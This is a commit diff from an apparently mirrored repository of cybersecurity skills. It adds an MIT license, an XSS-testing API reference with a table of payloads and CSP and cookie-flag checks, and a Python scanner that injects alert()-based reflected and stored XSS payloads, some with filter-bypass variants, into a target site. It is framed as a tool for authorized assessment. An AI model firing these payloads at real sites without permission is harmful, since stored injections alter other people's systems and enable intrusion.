mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-18 13:39:40 +03:00
Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,53 @@
|
||||
# API Reference: Testing for XSS Vulnerabilities
|
||||
|
||||
## requests Library for XSS Testing
|
||||
|
||||
### Reflection Testing
|
||||
```python
|
||||
from urllib.parse import quote
|
||||
# Inject canary to find reflection points
|
||||
resp = requests.get(f"{url}?q={canary}")
|
||||
if canary in resp.text:
|
||||
# Input is reflected - test payloads
|
||||
resp = requests.get(f"{url}?q={quote(payload)}")
|
||||
```
|
||||
|
||||
## XSS Payload Categories
|
||||
| Context | Example Payload |
|
||||
|---------|----------------|
|
||||
| HTML body | `<script>alert(document.domain)</script>` |
|
||||
| HTML attribute | `" onfocus=alert(1) autofocus="` |
|
||||
| JavaScript string | `';alert(1)//` |
|
||||
| URL/href | `javascript:alert(1)` |
|
||||
| Event handler | `<img src=x onerror=alert(1)>` |
|
||||
| SVG | `<svg onload=alert(1)>` |
|
||||
| Filter bypass | `<ScRiPt>alert(1)</sCrIpT>` |
|
||||
|
||||
## XSS Types
|
||||
| Type | Description | Persistence |
|
||||
|------|-------------|-------------|
|
||||
| Reflected | Payload in URL/request, reflected in response | Non-persistent |
|
||||
| Stored | Payload saved server-side, rendered to others | Persistent |
|
||||
| DOM-based | Payload processed by client-side JavaScript | Client-side |
|
||||
|
||||
## CSP Analysis
|
||||
| Directive | Insecure Value | Risk |
|
||||
|-----------|---------------|------|
|
||||
| `script-src` | `'unsafe-inline'` | Allows inline `<script>` tags |
|
||||
| `script-src` | `'unsafe-eval'` | Allows `eval()` and similar |
|
||||
| `script-src` | `*.googleapis.com` | May host JSONP endpoints |
|
||||
| `base-uri` | Not set | Allows `<base>` tag injection |
|
||||
| `default-src` | `*` | Allows scripts from any origin |
|
||||
|
||||
## Cookie Security Flags
|
||||
| Flag | Purpose |
|
||||
|------|---------|
|
||||
| `HttpOnly` | Prevents JavaScript access to cookies |
|
||||
| `Secure` | Only send over HTTPS |
|
||||
| `SameSite` | Cross-site request protection |
|
||||
|
||||
## References
|
||||
- OWASP XSS Guide: https://owasp.org/www-community/attacks/xss/
|
||||
- XSS Filter Evasion: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
|
||||
- CSP Evaluator: https://csp-evaluator.withgoogle.com/
|
||||
- PortSwigger XSS: https://portswigger.net/web-security/cross-site-scripting
|
||||
@@ -0,0 +1,208 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for testing Cross-Site Scripting (XSS) vulnerabilities during authorized assessments."""
|
||||
|
||||
import requests
|
||||
import re
|
||||
import json
|
||||
import sys
|
||||
import argparse
|
||||
import urllib3
|
||||
from datetime import datetime
|
||||
from urllib.parse import urljoin, quote
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
XSS_PAYLOADS = {
|
||||
"html_body": [
|
||||
'<script>alert(document.domain)</script>',
|
||||
'<img src=x onerror=alert(1)>',
|
||||
'<svg onload=alert(1)>',
|
||||
'<details open ontoggle=alert(1)>',
|
||||
'<body onload=alert(1)>',
|
||||
],
|
||||
"html_attribute": [
|
||||
'" onfocus=alert(1) autofocus="',
|
||||
'" onmouseover=alert(1) "',
|
||||
'"><script>alert(1)</script>',
|
||||
"' onfocus=alert(1) autofocus='",
|
||||
],
|
||||
"javascript_context": [
|
||||
"';alert(1)//",
|
||||
"\\';alert(1)//",
|
||||
"</script><script>alert(1)</script>",
|
||||
],
|
||||
"filter_bypass": [
|
||||
'<ScRiPt>alert(1)</sCrIpT>',
|
||||
'<img src=x onerror=alert(1)>',
|
||||
'<svg/onload=alert(1)>',
|
||||
'<input onfocus=alert(1) autofocus>',
|
||||
],
|
||||
}
|
||||
|
||||
CANARY = "xsscanary7391"
|
||||
|
||||
|
||||
def detect_reflection_context(response_text, canary):
|
||||
"""Determine the rendering context of reflected input."""
|
||||
contexts = []
|
||||
if f">{canary}<" in response_text or f">{canary} " in response_text:
|
||||
contexts.append("html_body")
|
||||
if f'="{canary}"' in response_text or f"='{canary}'" in response_text:
|
||||
contexts.append("html_attribute")
|
||||
if f"'{canary}'" in response_text or f'"{canary}"' in response_text:
|
||||
if "<script>" in response_text.lower():
|
||||
contexts.append("javascript_context")
|
||||
if f'href="{canary}' in response_text or f"href='{canary}" in response_text:
|
||||
contexts.append("url_context")
|
||||
return contexts if contexts else ["html_body"]
|
||||
|
||||
|
||||
def test_reflected_xss(base_url, params, token=None):
|
||||
"""Test URL parameters for reflected XSS."""
|
||||
print("\n[*] Testing reflected XSS...")
|
||||
findings = []
|
||||
headers = {}
|
||||
if token:
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
|
||||
for param_url in params:
|
||||
url = urljoin(base_url, param_url)
|
||||
canary_url = url.replace("FUZZ", CANARY)
|
||||
try:
|
||||
resp = requests.get(canary_url, headers=headers, timeout=10, verify=False)
|
||||
if CANARY not in resp.text:
|
||||
continue
|
||||
contexts = detect_reflection_context(resp.text, CANARY)
|
||||
print(f" [+] Reflection found at {param_url} (contexts: {contexts})")
|
||||
char_test_url = url.replace("FUZZ", '<>"\'&/')
|
||||
char_resp = requests.get(char_test_url, headers=headers, timeout=10, verify=False)
|
||||
unencoded = []
|
||||
for ch in ['<', '>', '"', "'", '/']:
|
||||
if ch in char_resp.text and f"&{ch}" not in char_resp.text:
|
||||
unencoded.append(ch)
|
||||
|
||||
for context in contexts:
|
||||
payloads = XSS_PAYLOADS.get(context, XSS_PAYLOADS["html_body"])
|
||||
for payload in payloads:
|
||||
test_url = url.replace("FUZZ", quote(payload))
|
||||
try:
|
||||
test_resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
|
||||
if payload in test_resp.text or payload.lower() in test_resp.text.lower():
|
||||
findings.append({
|
||||
"type": "REFLECTED_XSS", "url": param_url,
|
||||
"payload": payload, "context": context,
|
||||
"severity": "HIGH",
|
||||
})
|
||||
print(f" [!] XSS CONFIRMED: {param_url} | payload: {payload[:50]}")
|
||||
break
|
||||
except requests.RequestException:
|
||||
continue
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def test_stored_xss(base_url, submit_endpoint, display_endpoint, token, field="body"):
|
||||
"""Test stored XSS via form submission."""
|
||||
print(f"\n[*] Testing stored XSS on {submit_endpoint}...")
|
||||
findings = []
|
||||
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
|
||||
submit_url = urljoin(base_url, submit_endpoint)
|
||||
display_url = urljoin(base_url, display_endpoint)
|
||||
|
||||
for payload_type, payloads in XSS_PAYLOADS.items():
|
||||
for payload in payloads[:2]:
|
||||
marker = f"XSS-{payload_type}-{hash(payload) % 10000}"
|
||||
tagged_payload = f"{marker}:{payload}"
|
||||
try:
|
||||
resp = requests.post(submit_url, headers=headers,
|
||||
json={field: tagged_payload}, timeout=10, verify=False)
|
||||
if resp.status_code in (200, 201):
|
||||
display_resp = requests.get(display_url, headers=headers,
|
||||
timeout=10, verify=False)
|
||||
if payload in display_resp.text:
|
||||
findings.append({
|
||||
"type": "STORED_XSS", "submit": submit_endpoint,
|
||||
"display": display_endpoint, "payload": payload,
|
||||
"severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] STORED XSS: {payload[:50]}")
|
||||
break
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def check_csp_header(base_url):
|
||||
"""Analyze Content Security Policy header for XSS protection."""
|
||||
print(f"\n[*] Checking CSP header on {base_url}...")
|
||||
findings = []
|
||||
try:
|
||||
resp = requests.get(base_url, timeout=10, verify=False)
|
||||
csp = resp.headers.get("Content-Security-Policy", "")
|
||||
xxp = resp.headers.get("X-XSS-Protection", "")
|
||||
|
||||
if not csp:
|
||||
findings.append({"type": "NO_CSP", "severity": "MEDIUM"})
|
||||
print(" [!] No Content-Security-Policy header")
|
||||
else:
|
||||
print(f" [+] CSP: {csp[:100]}...")
|
||||
if "unsafe-inline" in csp:
|
||||
findings.append({"type": "CSP_UNSAFE_INLINE", "severity": "HIGH"})
|
||||
print(" [!] CSP allows 'unsafe-inline'")
|
||||
if "unsafe-eval" in csp:
|
||||
findings.append({"type": "CSP_UNSAFE_EVAL", "severity": "HIGH"})
|
||||
print(" [!] CSP allows 'unsafe-eval'")
|
||||
if "*" in csp:
|
||||
findings.append({"type": "CSP_WILDCARD", "severity": "MEDIUM"})
|
||||
print(" [!] CSP contains wildcard domains")
|
||||
|
||||
if not xxp:
|
||||
print(" [INFO] No X-XSS-Protection header (deprecated)")
|
||||
cookie_headers = resp.headers.get("Set-Cookie", "")
|
||||
if cookie_headers and "httponly" not in cookie_headers.lower():
|
||||
findings.append({"type": "COOKIE_NO_HTTPONLY", "severity": "MEDIUM"})
|
||||
print(" [!] Session cookie missing HttpOnly flag")
|
||||
except requests.RequestException as e:
|
||||
print(f" [-] Error: {e}")
|
||||
return findings
|
||||
|
||||
|
||||
def generate_report(findings, output_path):
|
||||
"""Generate XSS assessment report."""
|
||||
report = {
|
||||
"assessment_date": datetime.now().isoformat(),
|
||||
"total_findings": len(findings),
|
||||
"by_type": {},
|
||||
"findings": findings,
|
||||
}
|
||||
for f in findings:
|
||||
t = f.get("type", "UNKNOWN")
|
||||
report["by_type"][t] = report["by_type"].get(t, 0) + 1
|
||||
with open(output_path, "w") as fh:
|
||||
json.dump(report, fh, indent=2)
|
||||
print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="XSS Vulnerability Testing Agent")
|
||||
parser.add_argument("base_url", help="Base URL of the target")
|
||||
parser.add_argument("--token", help="Bearer token for authenticated testing")
|
||||
parser.add_argument("--params", nargs="+", default=["/search?q=FUZZ", "/page?name=FUZZ"])
|
||||
parser.add_argument("--submit-endpoint", help="Endpoint to submit stored XSS")
|
||||
parser.add_argument("--display-endpoint", help="Endpoint where stored input is displayed")
|
||||
parser.add_argument("-o", "--output", default="xss_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
print(f"[*] XSS Vulnerability Assessment: {args.base_url}")
|
||||
findings = []
|
||||
findings.extend(check_csp_header(args.base_url))
|
||||
findings.extend(test_reflected_xss(args.base_url, args.params, args.token))
|
||||
if args.submit_endpoint and args.display_endpoint:
|
||||
findings.extend(test_stored_xss(args.base_url, args.submit_endpoint,
|
||||
args.display_endpoint, args.token))
|
||||
generate_report(findings, args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user